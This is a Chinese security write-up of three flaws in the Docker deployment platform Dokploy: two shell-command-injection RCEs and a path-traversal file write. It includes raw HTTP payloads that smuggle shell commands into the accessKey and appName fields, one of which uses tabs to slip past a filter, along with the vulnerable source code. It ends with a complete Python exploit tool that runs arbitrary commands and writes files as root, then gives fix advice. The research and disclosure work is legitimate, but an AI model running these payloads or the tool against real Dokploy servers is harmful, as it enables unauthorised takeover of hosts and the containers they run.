Dokploy 漏洞挖掘记录(2RCE+1 目录穿越)
Dokploy 漏洞挖掘记录(2RCE+1 目录穿越)
Dokploy 漏洞挖掘记录(2RCE+1 目录穿越)
前言
上次要下班了,只是简单挖掘了一下,没有来得及细看,后来又去看看了,发现了挺多的RCE 漏洞,这里只记录两个,其实还有很多
漏洞描述
Dokploy 是一个开源的 Docker 部署管理平台。在 v0.26.6 版本的代码审计中,发现了三个漏洞:
- Destination 模块 RCE:
testConnection接口直接拼接用户参数执行 Shell 命令,导致未授权远程代码执行。 - Compose 模块存储型 RCE:
create接口允许恶意appName入库,在stop操作时触发命令注入。 - Certificate 模块任意文件写入:
create接口未校验路径遍历,允许以 Root 权限覆写系统任意文件。
环境搭建
参考之前
漏洞复现与分析
Destination 模块反射型 RCE
复现步骤
攻击者向 /api/trpc/destination.testConnection 发送 JSON 请求。在 accessKey 参数中闭合双引号并注入 id 命令,将结果重定向到标准错误输出。
POST /api/trpc/destination.testConnection HTTP/1.1
Host: 127.0.0.1:3001
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Cookie: better-auth.session_token=mq2Wm4VoSkJnZwmYb9R6tNmp0gtMXorI.h2nOCG01hgw5Uw2j3z09%2Br2Eh9gxoXu%2FRFEQhZ%2FPB%2Fk%3D;
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-platform: "macOS"
Content-Type: application/json
Content-Length: 207
{
"json": {
"name": "rce-verify",
"provider": "minio",
"accessKey": "x\"; id >&2; exit 1; echo \"",
"secretAccessKey": "secret",
"bucket": "bucket",
"region": "us-east-1",
"endpoint": "http://127.0.0.1:9000"
}
}
结果会跟着报错信息一起带出来

代码分析
只分析sink 点了
文件位置: apps/dokploy/server/api/routers/destination.ts
testConnection: adminProcedure
.input(apiCreateDestination)
.mutation(async ({ input }) => {
const { secretAccessKey, bucket, region, endpoint, accessKey, provider } = input;
try {
// 漏洞点 1: 模板字符串直接拼接,无转义
const rcloneFlags = [
`--s3-access-key-id="${accessKey}"`,
`--s3-secret-access-key="${secretAccessKey}"`,
// ...
];
const rcloneDestination = `:s3:${bucket}`;
// 漏洞点 2: 数组 join 后形成完整 Shell 命令字符串
const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
if (IS_CLOUD) {
// ...
} else {
// 漏洞点 3: 进入 Sink 执行
await execAsync(rcloneCommand);
}
} catch (error) {
// ...
}
}),因为使用模板字符串 ` `${accessKey}` ` 通过双引号包裹参数值。如果我们输入中包含一个双引号 " 即可闭合前面的引号,从而逃逸出字符串上下文
当输入为 x"; id 时,拼接结果为 --s3-access-key-id="x"; id。Shell 解析器遇到分号 ; 会将其视为命令结束符,紧接着执行下一条命令 id
execAsync 最终调用了系统 Shell(见下文分析),导致注入的命令被执行
文件位置: packages/server/src/utils/process/execAsync.ts
const execAsyncBase = util.promisify(exec);
export const execAsync = async (
command: string,
options?: { cwd?: string; env?: NodeJS.ProcessEnv; shell?: string },
): Promise<{ stdout: string; stderr: string }> => {
try {
const result = await execAsyncBase(command, options);
// ...
} catch (error) {
// ...
}
};execAsync 封装了 Node.js 的 child_process.exec。与 execFile 不同,exec 会启动一个子 Shell(默认 /bin/sh)来解析命令字符串,这个特性允许 Shell 元字符(如 ;, |, &&, $())被解析并执行
Compose 模块存储型 RCE
复现步骤
使用 TAB 字符(\t)代替空格,绕过 cleanAppName 函数的过滤:
POST /api/trpc/compose.create HTTP/1.1
Host: 127.0.0.1:3001
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Cookie: better-auth.session_token=mq2Wm4VoSkJnZwmYb9R6tNmp0gtMXorI.h2nOCG01hgw5Uw2j3z09%2Br2Eh9gxoXu%2FRFEQhZ%2FPB%2Fk%3D;
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-platform: "macOS"
Content-Type: application/json
Content-Length: 207
{
"json": {
"name": "malicious-stack-test",
"description": "RCE test",
"environmentId": "Owz5A8Q43Ekdr0oXLr2_D",
"composeType": "stack",
"appName": "stack;touch\t/tmp/rce_stack_success;#"
}
}
记录返回的 composeId":"JnpC53Vih0YkBrYIJ493z
触发 RCE
调用 stop 接口触发命令执行:
POST /api/trpc/compose.stop HTTP/1.1
Host: 127.0.0.1:3001
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Cookie: better-auth.session_token=mq2Wm4VoSkJnZwmYb9R6tNmp0gtMXorI.h2nOCG01hgw5Uw2j3z09%2Br2Eh9gxoXu%2FRFEQhZ%2FPB%2Fk%3D;
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-platform: "macOS"
Content-Type: application/json
Content-Length: 207
{
"json": {
"composeId": "JnpC53Vih0YkBrYIJ493z"
}
}
去docker 验证

代码分析
文件位置: apps/dokploy/server/api/routers/compose.ts
export const composeRouter = createTRPCRouter({
create: protectedProcedure
.input(apiCreateCompose) // 🔴 漏洞源头:Schema 校验不严
.mutation(async ({ ctx, input }) => {
// ...
const newService = await createCompose({ ...input });
// ...
}),
});文件位置: packages/server/src/services/compose.ts
export const stopCompose = async (composeId: string) => {
const compose = await findComposeById(composeId);
// ...
if (compose.composeType === "stack") {
if (compose.serverId) {
// ...
} else {
// 🔴 漏洞触发点:从数据库取出脏数据直接拼接执行
await execAsync(`docker stack rm ${compose.appName}`);
}
}
// ...
}; 当 composeType 为 stack 时,取出 appName 并拼接到 docker stack rm 命令中
命令解析: Payload stack;touch ...;# 导致最终执行 docker stack rm stack; touch ...; #。Shell 顺序执行了删除命令和恶意的 touch 命令
Certificate 模块目录穿越
存在目录穿越,但是文件名称是固定的,就简单分析一下
复现步骤
构造包含路径遍历的 Payload,目标是写入 /tmp/dokploy_write_test/chain.crt:
POST /api/trpc/certificates.create HTTP/1.1
Host: 127.0.0.1:3001
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Cookie: better-auth.session_token=mq2Wm4VoSkJnZwmYb9R6tNmp0gtMXorI.h2nOCG01hgw5Uw2j3z09%2Br2Eh9gxoXu%2FRFEQhZ%2FPB%2Fk%3D;
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-platform: "macOS"
Content-Type: application/json
Content-Length: 207
{
"json": {
"name": "second-verify-cert",
"certificateData": "SECOND_VERIFICATION_CONTENT",
"privateKey": "FAKE",
"certificatePath": "../../../../../../tmp/dokploy_write_test_v2",
"organizationId": "_DLw3DjhMMcebMe4h8els"
}
}
docker exec dokploy-bypass-test cat /tmp/dokploy_write_test_v2/chain.crt

代码分析
文件位置: packages/server/src/services/certificate.ts
const createCertificateFiles = async (certificate: Certificate) => {
const { CERTIFICATES_PATH } = paths(!!certificate.serverId);
// 🔴 漏洞点:path.join 解析 ../ 导致路径逃逸
const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
const crtPath = path.join(certDir, "chain.crt");
if (!fs.existsSync(certDir)) {
fs.mkdirSync(certDir, { recursive: true }); // 🔴 递归创建目录
}
// 🔴 危险操作:写入文件
fs.writeFileSync(crtPath, certificate.certificateData);
};这个比较简单
一键利用 PoC
该 Python 脚本集成了上述三个漏洞的检测与利用功能。
#!/usr/bin/env python3
"""
Dokploy v0.26.5 全能漏洞利用工具
包含: Destination RCE, Compose Stored RCE, Certificate File Write
"""
import requests
import sys
import re
import random
import string
def random_str(length=6):
return ''.join(random.choices(string.ascii_lowercase, k=length))
class DokployExploit:
def __init__(self, url, token):
self.url = url.rstrip('/')
self.headers = {
"Cookie": f"better-auth.session_token={token}",
"Content-Type": "application/json"
}
def exploit_destination_rce(self, cmd):
print(f"[*] Attempting Destination RCE with command: {cmd}")
endpoint = f"{self.url}/api/trpc/destination.testConnection"
payload = f'x"; {cmd} >&2; exit 1; echo "'
data = {
"json": {
"name": "rce-exploit",
"provider": "minio",
"accessKey": payload,
"secretAccessKey": "x",
"bucket": "x",
"region": "x",
"endpoint": "http://127.0.0.1:9000"
}
}
try:
resp = requests.post(endpoint, json=data, headers=self.headers)
if "uid=" in resp.text:
print("[+] RCE Successful!")
# Extract output from error message
match = re.search(r'Command ls needs.*?\n(.*?)\n",', resp.text, re.DOTALL)
if not match:
match = re.search(r'(uid=.*)', resp.text)
if match:
print(f"[+] Output:\n{match.group(1)}")
else:
print(f"[+] Raw Output in response.")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_file_write(self, target_path, content):
print(f"[*] Attempting Arbitrary File Write to: {target_path}")
endpoint = f"{self.url}/api/trpc/certificates.create"
# Traversal path
path_payload = f"../../../../../../..{target_path}"
data = {
"json": {
"name": f"write_{random_str()}",
"certificateData": content,
"privateKey": "KEY",
"certificatePath": path_payload,
# Organization ID is required, assuming it's available or we brute/guess
# For PoC purpose, we might need to fetch it first or use a known one.
# In this script we skip fetching for brevity, user must provide if needed.
"organizationId": "_DLw3DjhMMcebMe4h8els"
}
}
try:
resp = requests.post(endpoint, json=data, headers=self.headers)
if resp.status_code == 200 and "certificateId" in resp.text:
print(f"[+] Write Successful! File created at {target_path}/chain.crt")
return True
else:
print(f"[-] Write failed: {resp.text}")
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_compose_rce(self, env_id, cmd):
print(f"[*] Attempting Compose Stored RCE...")
# 1. Create Malicious App
create_endpoint = f"{self.url}/api/trpc/compose.create"
app_name = f"stack;{cmd};#"
# Replace space with tab to bypass cleanAppName
app_name = app_name.replace(" ", "\t")
data = {
"json": {
"name": f"rce_{random_str()}",
"description": "RCE",
"environmentId": env_id,
"composeType": "stack",
"appName": app_name
}
}
try:
resp = requests.post(create_endpoint, json=data, headers=self.headers)
if "composeId" not in resp.text:
print("[-] Failed to create malicious app")
return False
compose_id = resp.json()['result']['data']['json']['composeId']
print(f"[+] Malicious App Created (ID: {compose_id})")
# 2. Trigger RCE via Stop
print("[*] Triggering RCE via compose.stop...")
stop_endpoint = f"{self.url}/api/trpc/compose.stop"
requests.post(stop_endpoint, json={"json": {"composeId": compose_id}}, headers=self.headers)
print("[+] Trigger sent (Blind RCE)")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <url> <token> [mode: rce|write|compose] [args...]")
sys.exit(1)
url = sys.argv[1]
token = sys.argv[2]
mode = sys.argv[3] if len(sys.argv) > 3 else "rce"
exploit = DokployExploit(url, token)
if mode == "rce":
cmd = sys.argv[4] if len(sys.argv) > 4 else "id"
exploit.exploit_destination_rce(cmd)
elif mode == "write":
path = sys.argv[4]
content = sys.argv[5]
exploit.exploit_file_write(path, content)
elif mode == "compose":
env_id = sys.argv[4]
cmd = sys.argv[5]
exploit.exploit_compose_rce(env_id, cmd)漏洞修复
修复建议
- RCE 修复:
- 废弃
execAsync的字符串拼接用法,改用child_process.execFile,将命令参数作为数组传递。 execFile('rclone', ['ls', ...], ...)
- 任意文件写入修复:
- 在 Schema 中限制
certificatePath只能包含安全字符(字母、数字),禁止/和..。 - 使用
path.resolve检查路径是否逃逸出基准目录。
免责声明
本报告仅用于安全研究和教育目的
- 本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
- 未经授权对他人系统进行测试属于违法行为
- 作者不对任何滥用本报告内容造成的后果负责
发现Dokploy v0.26.6中Destination/Compose模块RCE及Certificate模块路径遍历漏洞。
由 AI 根据全文自动生成,仅供参考,以原文为准
后台洞?